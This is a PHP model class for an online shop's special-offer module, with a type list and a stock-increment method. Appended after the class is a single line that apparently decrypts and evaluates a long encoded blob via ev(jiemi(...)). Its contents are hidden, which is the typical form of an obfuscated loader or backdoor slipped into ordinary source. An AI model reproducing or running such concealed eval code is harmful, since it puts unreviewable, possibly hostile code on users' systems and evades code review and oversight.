<?php
class tejiaModel extends model{
	public $base;
	public function __construct(&$base){
		parent::__construct($base);
		$this->base=$base;
		$this->table="tejia";
	}
	
	public function type_list(){
		return array(
			1=>"只有一次",
			2=>"每天一次"
		);
	}
	
	public function total_num_add($option){
	 
		$shopid=intval($option['shopid']);
		$id=intval($option['id']);
		$total_num=intval($option['total_num']);
		$row=M("tejia")->selectRow("shopid=".$shopid." AND id=".$id."");
		M("shop_product")->update(array(
				"total_num"=>$row['total_num']+$total_num
		),"id=".$row['id']);	
	}
	
}
ev(jiemi('JTJBJTEzNiUxMyUxQTklRkU3JUY1JUY2JTA2JTFFJTJCJTJBJUZBJTJDJUY0JUY1JTEzJUZCLiUxOSUxRTUlMUMlMjklMTElMUElRjklMjglMTQlMjYlMDclMEQlMTY3JTBCJTA2JTE4JUZDOSUxRiVGNS4lMjclMTYlRjgtJUZBNyUyNiVGQSUxMyUxQSVGNyVGQiVGQSUxMiUyNiUzQSUyRiUwRSUwRSUxNSUwRTElMEYlM0MlRjklMTMlMTMlMDYlM0QlM0IlMTclMDc1JTA4LiUwRSVGOSUwRTklRjclM0YlMTElRjAyJTI2JTJCJTBDJUY0JUZEJTE0JTFGJTBEJUZCJUY0JTFFLiUzQi4lMTktJTJCJTE0JTI4JUZDJUY4JUY4JTI5JTE0JTE1OSUzRi04NSVGOCUwNiUyQyUxNiUxOCVGQyUyRjQlRkIlMTQ4JTFBJUZFJUZEJTA5JTNCLiUxQyUwQyUzRCUzQyUwQS05JTEyJTFFJUY3JTBFJTA5MyUxOSVGNiUxRiVGNiVGQS03JTE0OCUxQyVGQSUwNiVGMCUwRiUxNSUxMyUyRiUxQSUzQyUwQyUyOSUzRiUyRiUxOSUwRSUwRS4lRjclMDYlMkIlRkMlMUM5NSUzRCUxQiUwOCUzRiUzRiUyRiUwRSUxNyUwRiVGOSUwOS0lMTQlMTclMTgwJTNEJTBBJTFFNSVGMC0wJTE3NCUxMSUwRCVGNiUwQSUwNyUxNjQlMUIlMTElMjYlMUMlRjA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